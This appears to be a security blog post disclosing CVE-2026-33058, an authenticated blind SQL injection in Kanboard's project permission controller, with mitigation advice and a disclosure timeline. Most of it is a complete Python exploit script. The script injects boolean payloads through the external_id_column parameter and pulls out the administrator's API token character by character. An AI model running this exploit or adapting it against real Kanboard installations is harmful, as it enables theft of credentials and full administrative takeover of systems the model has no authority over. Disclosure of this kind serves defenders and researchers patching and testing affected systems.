Kanboard Authenticated SQL Injection via ProjectPermissionController (CVE-2026-33058)

Kanboard Authenticated SQL Injection via ProjectPermissionController (CVE-2026-33058)

⚠ CVE CVE-2026-33058 Affects: https://github.com/kanboard/kanboard
Ethical Use Notice [click to collapse]

This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.

Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.

Disclosure status: Full Disclosure

CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.

Proof of Concept available — Full exploit code on GitHub. Use in authorized environments only.
▷ View PoC on GitHub

Content *

Overview

A vulnerability identified as CVE-2026-33058 affects Kanboard versions up to 1.2.50.

The issue exists in the ProjectPermissionController when adding users to a project. Improper sanitization of the external_id_column parameter leads to an authenticated SQL injection.

An attacker with valid access can exploit this flaw to extract sensitive information from the database.


Affected Software

Vendor: Kanboard Project

Affected versions:

  • Kanboard ≤ 1.2.50

Tested on:

  • Version 1.2.50 (SQLite backend)

Fixed in:

  • Version 1.2.51

Technical Details

The vulnerability is triggered in the following endpoint:

/?controller=ProjectPermissionController&action=addUser

The parameter:

external_id_column

is directly embedded into SQL queries without proper sanitization, enabling injection.

The exploit uses a boolean-based blind SQL injection technique to extract sensitive data.

Example injection structure:

id) OR (SELECT CASE WHEN (<condition>) THEN 1 ELSE (SELECT 1 WHERE 0) END FROM users WHERE role='app-admin' LIMIT 1) -- 

Attack Requirements

To exploit this vulnerability, the attacker must:

  • Be authenticated in Kanboard
  • Have permission to add users to a project
  • Obtain:

  • KB_SID session cookie

  • csrf_token

Proof of Concept (PoC)

The exploit automates blind SQL injection to extract the admin API token:

#!/usr/bin/env python3
# Exploit Title:        Kanboard Authenticated SQL Injection in ProjectPermissionController
# CVE:                  CVE-2026-33058
# Date:                 2026-03-18
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Vendor Homepage:      https://kanboard.org
# Software Link:        https://github.com/kanboard/kanboard
# Affected:             Kanboard <= 1.2.50
# Tested on:            Kanboard 1.2.50 (SQLite)
# Category:             Webapps
# Platform:             PHP
# Exploit Type:         Remote
# CVSS:                 8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
# Description:          Authenticated SQL injection via external_id_column parameter when adding a user to a project.
#                       Allows extraction of sensitive data (API tokens, password hashes, emails, etc.)
# Fixed in:             1.2.51
# Usage:
#   python3 exploit.py <base_url> <project_id> <KB_SID> <csrf_token>
#
# Examples:
#   python3 exploit.py http://kanboard.local 1 abc123xyz CSRF-abcdef1234567890
#
# Options:
#   --
#
# Notes:
#   • Requires valid authenticated session and CSRF token
#   • Targets admin API token by default (blind boolean-based)
#   • Adjust success condition in send_injection() if needed
#
# How to Use
#
# Step 1: Log in to Kanboard with an account that has permission to add users to a project
#
# Step 2: Open browser dev tools → Network tab → go to project permissions page → copy:
#         • KB_SID cookie value
#         • csrf_token value from the form (or from any POST request)
#
# Step 3: Run the script with the collected values
#

import sys
import requests
import string
import time

BASE_URL = sys.argv[1].rstrip('/')
PROJECT_ID = sys.argv[2]
KB_SID = sys.argv[3]
CSRF_TOKEN = sys.argv[4]

COOKIES = {
    "KB_SID": KB_SID,
}

HEADERS = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": f"{BASE_URL}/project/{PROJECT_ID}/permissions"
}

def send_injection(payload):
    data = {
        "csrf_token": CSRF_TOKEN,
        "user_id": "",
        "username": "testinj",
        "external_id": "dummy",
        "external_id_column": payload,
        "name": "Test Injection",
        "role": "project-member"
    }
    r = requests.post(
        f"{BASE_URL}/?controller=ProjectPermissionController&action=addUser&project_id={PROJECT_ID}",
        data=data,
        cookies=COOKIES,
        headers=HEADERS,
        allow_redirects=False
    )
    return "error" not in r.text.lower() and r.status_code == 302

def bool_query(condition):
    payload = f"id) OR (SELECT CASE WHEN ({condition}) THEN 1 ELSE (SELECT 1 WHERE 0) END FROM users WHERE role='app-admin' LIMIT 1) -- "
    return send_injection(payload)

def extract_admin_api_token():
    token = ""
    charset = string.ascii_letters + string.digits + "-_"
    print("[*] Extracting admin API token (blind boolean)...")

    for pos in range(1, 41):
        found = False
        for c in charset:
            condition = f"substr((SELECT api_access_token FROM users WHERE role='app-admin' LIMIT 1),{pos},1)='{c}'"
            if bool_query(condition):
                token += c
                print(f"[+] Position {pos}: {c} → {token}")
                found = True
                break
            time.sleep(0.3)
        if not found:
            print(f"[+] Token extraction finished: {token}")
            break
    return token

if __name__ == "__main__":
    if len(sys.argv) != 5:
        print("Usage: python3 exploit.py <base_url> <project_id> <KB_SID> <csrf_token>")
        sys.exit(1)
    extracted = extract_admin_api_token()
    if extracted:
        print(f"\n[!] Extracted admin API token: {extracted}")
        print("You can now use this token for full API access as admin.")

How the Exploit Works

The attack flow is as follows:

  1. Attacker logs into Kanboard.
  2. Captures session cookie (KB_SID) and CSRF token.
  3. Sends crafted requests injecting SQL via external_id_column.
  4. Uses boolean conditions to infer database values.
  5. Iteratively extracts sensitive data (character by character).

Data Extraction Example

The PoC targets:

sql id="4p6z2n" SELECT api_access_token FROM users WHERE role='app-admin'

By testing characters sequentially, the script reconstructs the admin API token.


Impact

Successful exploitation allows attackers to:

  • Extract API tokens
  • Retrieve password hashes
  • Access user emails and sensitive data
  • Gain full administrative API access

Given the CVSS score (8.8 - High), this vulnerability poses a serious risk.


Mitigation

Recommended actions:

  • Upgrade to Kanboard 1.2.51 or later
  • Implement strict input validation and parameterized queries
  • Restrict project permission management to trusted users
  • Monitor suspicious activity in project permission endpoints

Disclosure Timeline

  • 2026-03-18 — Vulnerability discovered
  • 2026-03-18 — PoC developed
  • 2026-03-18 — Reported / patch released
  • 2026-03-XX — Public disclosure

Researcher

Security research conducted by:

Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴

GitHub: https://github.com/mbanyamer
Instagram: @banyamer_security


Disclaimer

This proof-of-concept is provided for educational purposes and authorized testing only. Unauthorized exploitation is illegal.


Disclosure: Full Disclosure

Comments

No comments yet. Be the first.

Leave a Comment

Comments are moderated and will appear after approval.